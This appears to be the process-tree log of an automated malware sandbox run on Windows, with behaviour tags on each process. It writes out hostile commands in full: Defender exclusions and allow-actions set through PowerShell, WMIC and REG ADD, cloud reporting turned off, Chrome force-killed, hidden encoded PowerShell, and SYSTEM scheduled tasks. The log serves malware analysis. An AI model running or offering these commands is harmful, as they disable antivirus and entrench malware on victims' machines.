C:\Users\Admin\Documents\0RMfTxZ03_CeFRYPzVdZ05Rr.exeC:\Users\Admin\Documents\0RMfTxZ03_CeFRYPzVdZ05Rr.exe7⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue188c50114d1a.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue188c50114d1a.exeTue188c50114d1a.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue188c50114d1a.exeC:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue188c50114d1a.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue188c50114d1a.exeC:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue188c50114d1a.exe6⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue188c50114d1a.exeC:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue188c50114d1a.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue182b14dec1cfd6f.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue182b14dec1cfd6f.exeTue182b14dec1cfd6f.exe5⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue18773fa7cbf.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue18773fa7cbf.exeTue18773fa7cbf.exe5⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe6⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe7⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue1868667ab9f56c.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue1868667ab9f56c.exeTue1868667ab9f56c.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue18947abfdb94ab025.exe4⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS0B1CF564\Tue18947abfdb94ab025.exeTue18947abfdb94ab025.exe5⤵
- Executes dropped EXE
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
- Modifies registry class
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Executes dropped EXE
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 6D7D61271499CB51A8A2926D204ACCFE C2⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 839077DD8E565F88C1BF5C8DCE8F18C72⤵
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
-
C:\Users\Admin\AppData\Local\Temp\PZdhpCrZMxgBhjWOo\wwgpFMiovwBgRpD\MEmhXUX.exeC:\Users\Admin\AppData\Local\Temp\PZdhpCrZMxgBhjWOo\wwgpFMiovwBgRpD\MEmhXUX.exe XY /site_id 216660 /S1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &2⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"3⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True5⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True6⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\FAROrqqmwDJuC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\FAROrqqmwDJuC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SZbnkDASJEUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\SZbnkDASJEUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TdgVoScrU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\TdgVoScrU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ewBllfHVNFkRwSdEiCR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ewBllfHVNFkRwSdEiCR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xmhVlMznYVRU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\xmhVlMznYVRU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\mrnDKDtAoCXFymVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\mrnDKDtAoCXFymVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\PZdhpCrZMxgBhjWOo\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\PZdhpCrZMxgBhjWOo\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\fIDQkgvqEeYuFUPy\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\fIDQkgvqEeYuFUPy\" /t REG_DWORD /d 0 /reg:64;"2⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FAROrqqmwDJuC" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FAROrqqmwDJuC" /t REG_DWORD /d 0 /reg:324⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\FAROrqqmwDJuC" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SZbnkDASJEUn" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\SZbnkDASJEUn" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TdgVoScrU" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\TdgVoScrU" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ewBllfHVNFkRwSdEiCR" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ewBllfHVNFkRwSdEiCR" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xmhVlMznYVRU2" /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xmhVlMznYVRU2" /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\mrnDKDtAoCXFymVB /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\mrnDKDtAoCXFymVB /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\PZdhpCrZMxgBhjWOo /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\PZdhpCrZMxgBhjWOo /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\fIDQkgvqEeYuFUPy /t REG_DWORD /d 0 /reg:323⤵
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\fIDQkgvqEeYuFUPy /t REG_DWORD /d 0 /reg:643⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gFBjCBcFJ" /SC once /ST 15:52:11 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gFBjCBcFJ"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gFBjCBcFJ"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "wovemSUpOFDwVyMam" /SC once /ST 06:13:59 /RU "SYSTEM" /TR "\"C:\Windows\Temp\fIDQkgvqEeYuFUPy\ecFUPPvCYERMhrW\SxSetIB.exe\" 4h /site_id 216660 /S" /V1 /F2⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "wovemSUpOFDwVyMam"2⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\Users\Admin\AppData\Local\Temp\4703.exeC:\Users\Admin\AppData\Local\Temp\4703.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&1⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:322⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:642⤵
-
